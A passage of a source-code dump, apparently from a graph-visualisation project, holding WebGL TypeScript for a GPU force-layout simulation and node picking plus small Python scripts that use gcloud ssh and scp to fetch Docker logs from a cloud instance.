vstate.mode.id == 'infoCard' ) return\n view.zoom( scale )\n },\n\n resize: view.resize,\n undo: actions.undo,\n redo: actions.redo,\n\n toggleSimPause: () => {\n if ( vstate.mode.id == 'infoCard' ) return\n view.toggleSimPause()\n },\n nextSimStep: () => {\n if ( vstate.mode.id == 'infoCard' ) return\n view.nextSimStep()\n },\n navSimHistory: ( steps: number ) => {\n if ( vstate.mode.id == 'infoCard' ) return\n view.navSimHistory( steps )\n },\n }\n\n return api\n}\n\n\n" }, { "alpha_fraction": 0.6136184334754944, "alphanum_fraction": 0.6235485672950745, "avg_line_length": 37.76171112060547, "blob_id": "5582cbc0ac8e9e871f65c17733c0ba296eb8b586", "content_id": "6d6c1b26d928cc06197d531fd1f54530028dd2f1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 19033, "license_type": "permissive", "max_line_length": 115, "num_lines": 491, "path": "/client/src/view/gpu/sim.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as Api from '../api.js'\nimport * as GView from '../graphView.js'\nimport * as glut from './glUtil.js'\nimport * as Vec from './vecUtil.js'\nimport * as constants from './common/constants.js'\nimport * as Opt from '../../options.js'\nimport * as glm from 'gl-matrix'\nimport * as fullscreenQuad from '../../../output-glsl/view/gpu/common/fullscreenQuad.vert.glsl'\nimport * as integrateFrag from '../../../output-glsl/view/gpu/sim/integrate.frag.glsl.js'\nimport * as analyzeFrag from '../../../output-glsl/view/gpu/sim/analyze.frag.glsl.js'\nimport * as initNodesFrag from '../../../output-glsl/view/gpu/sim/initNodes.frag.glsl.js'\nimport * as edgesVert from '../../../output-glsl/view/gpu/sim/edgeForces.vert.glsl'\nimport * as edgesFrag from '../../../output-glsl/view/gpu/sim/edgeForces.frag.glsl'\n\nconst POSVEL_REAL_IDX = 0\nconst POSVEL_TEMP_IDX = 1\n\nexport const init = ( gl: glut.GL, prof: glut.Profiler, options: Opt.All ): Api.Sim => {\n\n // Enable 32-bit floating-point framebuffer support.\n console.assert( gl.getExtension('EXT_color_buffer_float') != null )\n console.assert( gl.getExtension('EXT_float_blend') != null )\n\n const initNodesProg = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, fullscreenQuad.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, initNodesFrag.shader.source ),\n ] )\n initNodesProg.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n initNodesProg.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n initNodesProg.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n initNodesProg.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n\n const integrateProg = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, fullscreenQuad.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, integrateFrag.shader.source ),\n ] )\n\n integrateProg.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n integrateProg.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n integrateProg.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n integrateProg.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n integrateProg.uniform( 'nodeForces', constants.TEX_BINDINGS.NODE_FORCES )\n integrateProg.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n\n const analyzeProg = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, fullscreenQuad.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, analyzeFrag.shader.source ),\n ])\n analyzeProg.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n analyzeProg.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n analyzeProg.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n analyzeProg.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n analyzeProg.uniform( 'nodeForces', constants.TEX_BINDINGS.NODE_FORCES )\n analyzeProg.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n\n const edgeForceProg = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, edgesVert.shader.source ),\n glut.compileShader( gl, gl.FRAGMENT_SHADER, edgesFrag.shader.source ),\n ] )\n edgeForceProg.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n edgeForceProg.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n edgeForceProg.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n edgeForceProg.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n edgeForceProg.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n //edgeProgram.uniform( 'edgeAttr', shader.TEX_BINDINGS.EDGE_ATTR )\n\n // Allocate read-only simulation data textures.\n const nodeAttr = glut.createDataTex( gl, 'Float32', 4, constants.DATA_TEX_STRIDE )\n const nodeAttr2 = glut.createDataTex( gl, 'Float32', 4, constants.DATA_TEX_STRIDE )\n const edgeEnds = glut.createDataTex( gl, 'Int32', 2, constants.DATA_TEX_STRIDE )\n const edgeAttr = glut.createDataTex( gl, 'Float32', 2, constants.DATA_TEX_STRIDE )\n\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_ATTR, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeAttr.id )\n } )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_ATTR2, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeAttr2.id )\n } )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.EDGE_ENDS, () => {\n gl.bindTexture( gl.TEXTURE_2D, edgeEnds.id )\n } )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.EDGE_ATTR, () => {\n gl.bindTexture( gl.TEXTURE_2D, edgeAttr.id )\n } )\n\n // Temp node force texture and fbo.\n const nodeForcesFbo = gl.createFramebuffer()\n if ( !nodeForcesFbo ) throw new Error()\n const nodeForcesTex = glut.createDataTex( gl, 'Float32', 2, constants.DATA_TEX_STRIDE )\n\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_FORCES, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeForcesTex.id )\n } )\n\n const edgeGeometry = glut.createGeometry( gl, edgeForceProg.id, {\n mode: gl.POINTS,\n numVertices: 1,\n } )\n\n // Allocate ping-pong simulation textures and framebuffers.\n const nodePosVel = glut.createPingPongTex<\"Float32\", 4>( {\n gl: gl,\n type: \"Float32\",\n arity: 4,\n stride: constants.DATA_TEX_STRIDE,\n texBindOffset: constants.TEX_BINDINGS.NODE_POS_VEL,\n activeIdx: POSVEL_REAL_IDX,\n } )\n\n const nodeState = glut.createPingPongTex<\"Float32\", 1>( {\n gl: gl,\n type: \"Float32\",\n arity: 1,\n stride: constants.DATA_TEX_STRIDE,\n texBindOffset: constants.TEX_BINDINGS.NODE_STATE,\n activeIdx: 0,\n } )\n\n const nodePosVelHist: glut.DataTexture<\"Float32\", 4>[] = []\n const nodeStateHist: glut.DataTexture<\"Float32\", 1>[] = []\n\n const allocHistoryBuffers = ( fullReset: boolean ) => {\n const oldLength = nodePosVelHist.length\n while ( nodePosVelHist.length < options.simParams.historyLength ) {\n nodePosVelHist.push( glut.createDataTex( gl, 'Float32', 4, constants.DATA_TEX_STRIDE ) )\n nodeStateHist.push( glut.createDataTex( gl, 'Float32', 1, constants.DATA_TEX_STRIDE ) )\n }\n for ( let i = fullReset ? 0 : oldLength; i < options.simParams.historyLength; ++i ) {\n nodePosVelHist[ i ].alloc( nodeCount, () => {} )\n nodeStateHist[ i ].alloc( nodeCount, () => {} )\n }\n }\n\n // Create node position-velocity reader.\n const reader = glut.asyncPixelReader( gl, 'Float32', 4 )\n let nodeCount = 0\n let edgeCount = 0\n let stepCount = 0\n let nodeDims: { x: number, y: number }\n\n // Which index in the circular history buffer to write to next.\n let historyWriteIndex = 0\n // How steps back in the history buffer we are currently reading from.\n let historyReadDelta = 0\n\n const updateNodeAttr = ( graphView: GView.Api ) => {\n nodeAttr.alloc( nodeCount, ( attr ) => {\n graphView.nodes.forEach( ( node, i ) => {\n attr.set( i, node.size.x, node.size.y, node.flags, node.parentIdx )\n } )\n } )\n nodeAttr2.alloc( nodeCount, ( attr2 ) => {\n graphView.nodes.forEach( ( node, i ) => {\n attr2.set( i, node.mass, node.subTreeMass, node.charge, 0 )\n } )\n } )\n }\n\n const updateEdgeAttr = ( graphView: GView.Api ) => {\n edgeAttr.alloc( graphView.edges.length, ( attr ) => {\n graphView.edges.forEach( ( edge, i ) => {\n attr.set( i, edge.lengthScale, edge.stiffnessScale )\n } )\n } )\n }\n\n let nodeStateReadIdx = 0\n\n const self:Api.Sim = {\n updateNodeAttr: updateNodeAttr,\n\n // When graphView is passed in, it is treated as a soft reset, meaning the sim will keep\n // the progress made on the graph so far. If the graph changed significantly where the cached\n // layout doesn't make sense anymore, it is up to the user to trigger a hard reset. At least\n // for now. TODO: Maybe we can detect this.\n reset: ( graphView: GView.Api | undefined ) => {\n reader.cancelPending()\n if ( graphView ) {\n // This is just to keep the node sizes what they were. We could as well set stepCount to\n // any number that's big enough to inflate all nodes in the graph. TimeBorn for new nodes\n // will be adjusted accordingly.\n stepCount = graphView.nodes.length * options.simParams.stepsToFull\n } else {\n stepCount = 0\n }\n historyWriteIndex = 0\n historyReadDelta = 0\n\n for ( let i = 0; i < 2; ++i ) {\n\n nodeDims = nodePosVel[ i ].tex.alloc( nodeCount, ( posVel ) => {\n\n if ( i == POSVEL_REAL_IDX ) {\n if ( graphView ) {\n graphView.nodes.forEach( ( node, j ) => {\n posVel.set( j, node.pos.x, node.pos.y, 0, 0 )\n } )\n } else {\n for ( let j = 0; j < nodeCount; ++j ) {\n posVel.set( j, 0, 0, 0, 0 )\n }\n }\n }\n } )\n\n const nodeNeedsSimulating = ( i: number ): boolean => {\n // Root node should have index 0 in bfs ordering. If we change the ordering it's GG.\n if ( !graphView || i === 0 ) {\n return false\n }\n const node = graphView.nodes[ i ]\n if ( node.pos.x !== 0 && node.pos.y !== 0 ) {\n // Seems like we have a position for this node already.\n return false\n }\n return true\n }\n\n nodeState[ i ].tex.alloc( nodeCount, ( buf ) => {\n for ( let j = 0; j < nodeCount; ++j ) {\n if ( nodeNeedsSimulating( j ) ) {\n // Some new node that we should simulate. If we leave timeBorn = 0, then the node\n // won't have correct initial position and mass.\n buf.set( j, stepCount )\n } else {\n buf.set( j, 0 )\n }\n }\n } )\n\n // Attach ping-pong textures to framebuffers.\n glut.bind.fboDraw( gl, nodePosVel[ i ].fbo, () => {\n\n gl.framebufferTexture2D( gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0,\n gl.TEXTURE_2D, nodePosVel[ i ].tex.id, 0 )\n console.assert( gl.checkFramebufferStatus( gl.DRAW_FRAMEBUFFER ) ==\n gl.FRAMEBUFFER_COMPLETE )\n } )\n\n glut.bind.fboDraw( gl, nodeState[ i ].fbo, () => {\n\n gl.framebufferTexture2D( gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0,\n gl.TEXTURE_2D, nodeState[ i ].tex.id, 0 )\n console.assert( gl.checkFramebufferStatus( gl.DRAW_FRAMEBUFFER ) ==\n gl.FRAMEBUFFER_COMPLETE )\n } )\n }\n\n // Init spring forces.\n nodeForcesTex.alloc( nodeCount, ( forces ) => {\n for ( let i = 0; i < nodeCount; ++i ) {\n forces.set( i, 0, 0 )\n }\n } )\n\n // Attach spring forces texture to framebuffer.\n glut.bind.fboDraw( gl, nodeForcesFbo, () => {\n\n gl.framebufferTexture2D( gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0,\n gl.TEXTURE_2D, nodeForcesTex.id, 0 )\n console.assert( gl.checkFramebufferStatus( gl.DRAW_FRAMEBUFFER ) ==\n gl.FRAMEBUFFER_COMPLETE )\n } )\n\n // Reset history buffers.\n allocHistoryBuffers( true )\n },\n\n update: ( graphView ) => {\n\n reader.cancelPending()\n nodeCount = graphView.nodes.length\n edgeCount = graphView.edges.length\n\n initNodesProg.uniform( 'nodeCount', nodeCount )\n integrateProg.uniform( 'nodeCount', nodeCount )\n\n // Init node attributes.\n updateNodeAttr( graphView )\n\n // Init edge attributes.\n updateEdgeAttr( graphView )\n\n // Init edge endpoint indices.\n edgeEnds.alloc( graphView.edges.length, ( ends ) => {\n\n graphView.edges.forEach( ( edge, i ) => {\n ends.set( i, edge.fromIdx, edge.toIdx )\n } )\n } )\n\n // Init edge attributes.\n edgeAttr.alloc( graphView.edges.length, ( attr ) => {\n\n graphView.edges.forEach( ( edge, i ) => {\n attr.set( i, edge.lengthScale, edge.stiffnessScale )\n } )\n } )\n\n edgeGeometry.allocInstances( graphView.edges.length )\n\n self.reset( graphView )\n },\n\n step: ( orphanedIdx, dragIdx, dragDelta ) => prof.time( 'sim.ms.gpu', () => {\n\n // Update parameter uniforms.\n let k: keyof Opt.SimParams\n for ( k in options.simParams ) {\n const param = Opt.simParamInfo( k )\n if ( param ) {\n edgeForceProg.uniform( k, options.simParams[ k ] )\n integrateProg.uniform( k, options.simParams[ k ] )\n initNodesProg.uniform( k, options.simParams[ k ] )\n analyzeProg.uniform( k, options.simParams[ k ] )\n }\n }\n\n // Read from real posvel.\n // Setting these up here allows continuing properly\n // after traversing the debug history buffer in deltaHistory below.\n // Under normal operation these texture units will already be bound like this.\n // Drivers often cache this state and treat such redundant bindings as a NOOP.\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_POS_VEL, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodePosVel[ POSVEL_REAL_IDX ].tex.id )\n } )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_STATE, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeState[ nodeStateReadIdx ].tex.id )\n } )\n\n // Initialize incremental build and reincarnated nodes.\n initNodesProg.uniform( 'edgeCount', edgeCount )\n initNodesProg.uniform( 'stepCount', stepCount )\n\n glut.bind.fboDraw( gl, nodePosVel[ POSVEL_TEMP_IDX ].fbo, () => {\n\n gl.viewport( 0, 0, nodeDims.x, nodeDims.y )\n\n initNodesProg.bind( () => gl.drawArrays( gl.TRIANGLES, 0, 3 ) )\n } )\n // Read from temp posvel.\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_POS_VEL, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodePosVel[ POSVEL_TEMP_IDX ].tex.id )\n } )\n\n // Compute edge forces.\n edgeForceProg.uniform( 'dimX', nodeDims.x )\n edgeForceProg.uniform( 'dimY', nodeDims.y )\n edgeForceProg.uniform( 'nodeCount', nodeCount )\n edgeForceProg.uniform( 'stepCount', stepCount )\n edgeForceProg.uniform( 'jsNaN', 1.0 )\n\n gl.enable( gl.BLEND )\n gl.blendFuncSeparate( gl.ONE, gl.ONE, gl.ZERO, gl.ONE )\n\n glut.bind.fboDraw( gl, nodeForcesFbo, () => {\n\n gl.viewport( 0, 0, nodeDims.x, nodeDims.y )\n gl.clearBufferfv( gl.COLOR, 0, [ 0, 0, 0, 0 ] )\n\n for ( let i = 0; i < 2; ++i ) {\n edgeForceProg.uniform( 'edgePass', i )\n edgeForceProg.bind( () => glut.draw( gl, edgeForceProg, edgeGeometry ) )\n }\n } )\n\n gl.blendFuncSeparate( gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA, gl.ZERO, gl.ONE )\n gl.disable( gl.BLEND )\n\n // Integrate nodes.\n integrateProg.uniform( 'edgeCount', edgeCount )\n integrateProg.uniform( 'stepCount', stepCount )\n integrateProg.uniform( 'orphanedIdx', orphanedIdx )\n integrateProg.uniform( 'dragIdx', dragIdx )\n integrateProg.uniform( 'dragDelta', dragDelta[0], dragDelta[1] )\n integrateProg.uniform( 'jsNaN', 1.0 )\n\n glut.bind.fboDraw( gl, nodePosVel[ POSVEL_REAL_IDX ].fbo, () => {\n\n gl.viewport( 0, 0, nodeDims.x, nodeDims.y )\n\n integrateProg.bind( () => gl.drawArrays( gl.TRIANGLES, 0, 3 ) )\n } )\n // Read from real posvel.\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_POS_VEL, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodePosVel[ POSVEL_REAL_IDX ].tex.id )\n } )\n\n // Check for edge intersections to reincarnate.\n analyzeProg.uniform( 'stepCount', stepCount )\n analyzeProg.uniform( 'edgeCount', edgeCount )\n analyzeProg.uniform( 'nodeCount', nodeCount )\n analyzeProg.uniform( 'orphanedIdx', orphanedIdx )\n\n glut.bind.fboDraw( gl, nodeState[ nodeStateReadIdx ^ 1 ].fbo, () => {\n\n gl.viewport( 0, 0, nodeDims.x, nodeDims.y )\n\n analyzeProg.bind( () => gl.drawArrays( gl.TRIANGLES, 0, 3 ) )\n } )\n\n nodeStateReadIdx ^= 1\n\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_STATE, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeState[ nodeStateReadIdx ].tex.id )\n } )\n\n if ( options.simParams.historyLength > 0 ) {\n allocHistoryBuffers( false )\n glut.bind.fboRead( gl, nodePosVel[ POSVEL_REAL_IDX ].fbo, () => {\n nodePosVelHist[ historyWriteIndex ].copyFromFramebuffer( constants.TEX_BINDINGS.HISTORY_TEMP )\n } )\n glut.bind.fboRead( gl, nodeState[ nodeStateReadIdx ].fbo, () => {\n nodeStateHist[ historyWriteIndex ].copyFromFramebuffer( constants.TEX_BINDINGS.HISTORY_TEMP )\n } )\n historyWriteIndex = (historyWriteIndex + 1) % options.simParams.historyLength\n historyReadDelta = 0\n }\n stepCount += 1\n } ),\n\n currentStepCount: () => {\n return stepCount - historyReadDelta\n },\n\n deltaHistory: ( delta: number ) => {\n if ( options.simParams.historyLength > 0 ) {\n allocHistoryBuffers( false )\n historyReadDelta = Math.max( 0, Math.min( options.simParams.historyLength - 1, historyReadDelta - delta ) )\n const historyReadIndex =\n ( options.simParams.historyLength + historyWriteIndex - 1 - historyReadDelta ) %\n options.simParams.historyLength\n console.log( historyWriteIndex, historyReadDelta, historyReadIndex )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_POS_VEL, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodePosVelHist[ historyReadIndex ].id )\n } )\n glut.bind.texUnit( gl, gl.TEXTURE0 + constants.TEX_BINDINGS.NODE_STATE, () => {\n gl.bindTexture( gl.TEXTURE_2D, nodeStateHist[ historyReadIndex ].id )\n } )\n }\n },\n\n readMovement: ( graphView, cb ) => prof.time( 'sim.read.gpu', () => {\n\n glut.bind.fboRead( gl, nodePosVel[ POSVEL_REAL_IDX ].fbo, () => {\n\n const calcMovement = ( posVel: Vec.Array<Vec.ElemType, 4> ) => {\n let speed = 0\n for ( let i = 0; i < nodeCount; ++i ) {\n const pv = posVel.get( i )\n speed += Math.sqrt( pv[2] * pv[2] + pv[3] * pv[3] )\n }\n cb( speed / nodeCount )\n }\n reader.enqueue( 0, 0, nodeDims.x, nodeDims.y, calcMovement )\n // cb( calcMovement( reader.slowAndSynchronous( 0, 0, nodeDims.x, nodeDims.y ) ) )\n } )\n\n } ),\n\n getNodePos: ( idx, callback ) => {\n\n const d2idx = {\n x: idx % constants.DATA_TEX_STRIDE,\n y: idx / constants.DATA_TEX_STRIDE\n }\n\n glut.bind.fboRead( gl, nodePosVel[ POSVEL_REAL_IDX ].fbo, () => {\n reader.enqueue( d2idx.x, d2idx.y, 1, 1, posVel => {\n const p = posVel.get( 0 )\n callback( glm.vec2.fromValues( p[ 0 ], p[ 1 ] ) )\n } )\n } )\n\n },\n\n savePositions: ( nodes ) => prof.time( 'sim.save.gpu', () => {\n\n glut.bind.fboRead( gl, nodePosVel[ POSVEL_REAL_IDX ].fbo, () => {\n\n const posVel = reader.slowAndSynchronous( 0, 0, nodeDims.x, nodeDims.y )\n\n nodes.forEach( ( node, i ) => {\n const pv = posVel.get( i )\n node.pos = { x: pv[0], y: pv[1] }\n } )\n } )\n } ),\n }\n return self\n}\n\n" }, { "alpha_fraction": 0.5874999761581421, "alphanum_fraction": 0.5874999761581421, "avg_line_length": 29.244443893432617, "blob_id": "9b7d9fb42e51a868eaa1115a28a0aae2ee1ac18b", "content_id": "5e499b9fe5a9ead579365dea4bfa1fd2ad8c5586", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1360, "license_type": "permissive", "max_line_length": 84, "num_lines": 45, "path": "/cmd/util.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import os, json, types\nimport subprocess as sp\n\ndef make_env(**kws):\n e = os.environ.copy()\n for k, v in kws.items(): e[k] = v\n return e\n\ndef set_def(args, k, v):\n if k not in args: args.extend([k, v])\n\ndef init_gcp(domain):\n # load instance configuration\n cfg = json.load(open('.cred/gcp-' + domain + '.json', 'r'))\n\n gcloud = '/google-cloud-sdk/bin/gcloud'\n def carg(s): return ['--'+s, cfg[s]]\n cfg_args = carg('zone') + carg('project') + carg('impersonate-service-account')\n\n # authenticate with gcp\n while True:\n account = sp.run([gcloud, 'auth', 'list', '--filter=status:ACTIVE',\n '--format=value(account)'], check=True, text=True, capture_output=True).stdout\n account = account.strip()\n if account != '':\n print('Authenticated on GCP as:', account)\n break\n sp.run([gcloud, 'auth', 'login'], check=True)\n\n # construct util object\n def scp(srcs, tgt):\n dest = cfg['inst']+':'+tgt\n print('Copying', srcs, 'to', dest+'...')\n sp.run([gcloud, 'compute', 'scp'] + cfg_args + srcs + [dest], check=True)\n\n def ssh(cmd):\n print('Running on ' + cfg['inst'] + ': ' + cmd + '...')\n sp.run([gcloud, 'compute', 'ssh', '--ssh-flag=-t'] + cfg_args +\n [cfg['inst'], \"--command=sh -c '\" + cmd + \"'\"], check=True)\n\n gcp = types.SimpleNamespace()\n gcp.cfg = cfg\n gcp.ssh = ssh\n gcp.scp = scp\n return gcp" }, { "alpha_fraction": 0.7190388441085815, "alphanum_fraction": 0.7190388441085815, "avg_line_length": 37.64285659790039, "blob_id": "c31b47fe3f2a1664e4eee6e52e732e0c340feef7", "content_id": "b7b604755920475bafc0085b43dd5999a7426a7f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "permissive", "max_line_length": 78, "num_lines": 14, "path": "/cmd/logs.py", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "from . import util\n\ncmd_name = 'logs'\ndef cmd_args(parser):\n parser.description = \"Dump server logs from remote GCP instance.\"\n parser.add_argument('-domain', default='bugs.yato.dev',\n help='domain with configuration stored in .cred/gcp-<domain>.json')\n parser.epilog = \"Unknown arguments are passed to the 'docker logs' command.\"\n\ndef run(args, xargs):\n # load GCP instance configuration based on domain and authenticate with GCP\n gcp = util.init_gcp(args.domain)\n # dump logs\n gcp.ssh('docker logs yato-promo' + ' '.join(xargs))\n" }, { "alpha_fraction": 0.6143836975097656, "alphanum_fraction": 0.6245564222335815, "avg_line_length": 36.74106979370117, "blob_id": "0f4b9b06dd0d2deaee3e1d774cc898092ae2e335", "content_id": "ef06decb04a9b3ca92b178edbe6365946cf36b2a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 4227, "license_type": "permissive", "max_line_length": 90, "num_lines": 112, "path": "/client/src/view/gpu/gfx/select.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glm from 'gl-matrix'\nimport * as GView from '../../graphView.js'\nimport * as glut from '../glUtil.js'\nimport * as ViewApi from '../../api.js'\nimport * as constants from '../common/constants.js'\nimport * as vertEdge from '../../../../output-glsl/view/gpu/gfx/selectEdge.vert.glsl.js'\nimport * as vertNode from '../../../../output-glsl/view/gpu/gfx/selectNode.vert.glsl.js'\nimport * as frag from '../../../../output-glsl/view/gpu/gfx/select.frag.glsl.js'\n\nexport type Api = {\n update: ( gview: GView.Api ) => void,\n test: ( p: ViewApi.RenderParams, mouse: glm.vec2, setHover: ViewApi.SetHover ) => void,\n}\n\nexport const init = ( gl: glut.GL,\n nodeGeometry: glut.Geometry, edgeGeometry: glut.Geometry ): Api => {\n\n const fragShader = glut.compileShader( gl, gl.FRAGMENT_SHADER, frag.shader.source )\n\n const programEdge = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vertEdge.shader.source ),\n fragShader\n ] )\n programEdge.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n programEdge.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n programEdge.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n programEdge.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n programEdge.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n\n const programNode = glut.linkProgram( gl, [\n glut.compileShader( gl, gl.VERTEX_SHADER, vertNode.shader.source ),\n fragShader\n ] )\n programNode.uniform( 'nodePosVel', constants.TEX_BINDINGS.NODE_POS_VEL )\n programNode.uniform( 'nodeAttr', constants.TEX_BINDINGS.NODE_ATTR )\n programNode.uniform( 'nodeAttr2', constants.TEX_BINDINGS.NODE_ATTR2 )\n programNode.uniform( 'edgeEnds', constants.TEX_BINDINGS.EDGE_ENDS )\n programNode.uniform( 'nodeState', constants.TEX_BINDINGS.NODE_STATE )\n\n const NUM_FBOS = 8\n const reader = glut.asyncPixelReader( gl, 'Int32', 1 )\n\n const fbos: WebGLFramebuffer[] = []\n for ( let i = 0; i < NUM_FBOS; ++i ) {\n const rbo = gl.createRenderbuffer()\n if ( !rbo ) throw new Error()\n glut.bind.rbo( gl, rbo, () => {\n gl.renderbufferStorage( gl.RENDERBUFFER, reader.info.sizedFormat, 1, 1 )\n } )\n\n const fbo = gl.createFramebuffer()\n if ( !fbo ) throw new Error()\n glut.bind.fboDraw( gl, fbo, () => {\n gl.framebufferRenderbuffer( gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0,\n gl.RENDERBUFFER, rbo )\n console.assert( gl.checkFramebufferStatus( gl.DRAW_FRAMEBUFFER ) ==\n gl.FRAMEBUFFER_COMPLETE )\n } )\n fbos.push( fbo )\n }\n let fboIndex = 0\n\n\n const mouseProjMatrix = glm.mat4.create()\n\n return {\n update: ( graphView ) => {\n reader.cancelPending()\n },\n\n test: ( p, mouse, setHoverIdx ) => {\n\n glm.mat4.ortho( mouseProjMatrix, mouse[0], mouse[0] + 1,\n mouse[1], mouse[1] + 1, -1, +1 )\n\n glut.bind.fboDraw( gl, fbos[ fboIndex ], () => {\n\n gl.viewport( 0, 0, 1, 1 )\n gl.clearBufferiv( gl.COLOR, 0, [ 0, 0, 0, 0 ] )\n\n if ( p.orphanedIdx < 0 ) {\n programEdge.uniform( 'camProj', false, mouseProjMatrix )\n programEdge.uniform( 'camView', false, p.viewMat )\n programEdge.uniform( 'nodeCount', p.nodeCount )\n programEdge.uniform( 'stepCount', p.stepCount )\n programEdge.uniform( 'stepsToFull', p.stepsToFull )\n glut.draw( gl, programEdge, edgeGeometry )\n }\n\n programNode.uniform( 'camProj', false, mouseProjMatrix )\n programNode.uniform( 'camView', false, p.viewMat )\n programNode.uniform( 'orphanedIdx', p.orphanedIdx )\n programNode.uniform( 'nodeCount', p.nodeCount )\n programNode.uniform( 'stepCount', p.stepCount )\n programNode.uniform( 'stepsToFull', p.stepsToFull )\n glut.draw( gl, programNode, nodeGeometry )\n } )\n\n glut.bind.fboRead( gl, fbos[ fboIndex ], () => {\n\n reader.enqueue( 0, 0, 1, 1, ( buf ) => {\n const idx = buf.get( 0 )[ 0 ]\n setHoverIdx( <GView.NodeIdx>( idx - 1 ), <GView.EdgeIdx>( -idx - 1 ) )\n } )\n } )\n\n fboIndex = ( fboIndex + 1 ) % fbos.length\n },\n }\n}\n\nexport { init as Select }\n" }, { "alpha_fraction": 0.6047678589820862, "alphanum_fraction": 0.6072772741317749, "avg_line_length": 29.69230842590332, "blob_id": "aa1884f1e31a7f96622180435c0b2b8c456c82a9", "content_id": "3dd969c30f1f07271aba793e6ae3fa7f97d0aea1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 797, "license_type": "permissive", "max_line_length": 110, "num_lines": 26, "path": "/client/src/util/helpers.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "// Lets you iterate over an object's keys and values while retaining their type information.\nexport function typedObjectForEach<T>( obj: T, f: ( k: keyof T, v: T[ keyof T ], i: number ) => void ): void {\n let i = 0;\n for ( let k in obj ) {\n if ( Object.prototype.hasOwnProperty.call( obj, k ) ) {\n f( k, obj[ k ], i );\n i = i + 1;\n }\n }\n}\n\ntype ValueOf<T> = T[ keyof T ];\n\nexport const typedObjectMap = <OldObject extends object, NewValue>(\n obj: OldObject,\n mappingFn: ( value: ValueOf<OldObject> ) => NewValue\n): Record<keyof OldObject, NewValue> => {\n let newObj = {} as Record<keyof OldObject, NewValue>;\n for ( let i in obj ) {\n if ( obj.hasOwnProperty( i ) ) {\n const oldValue = obj[ i ];\n newObj[ i ] = mappingFn( oldValue );\n }\n }\n return 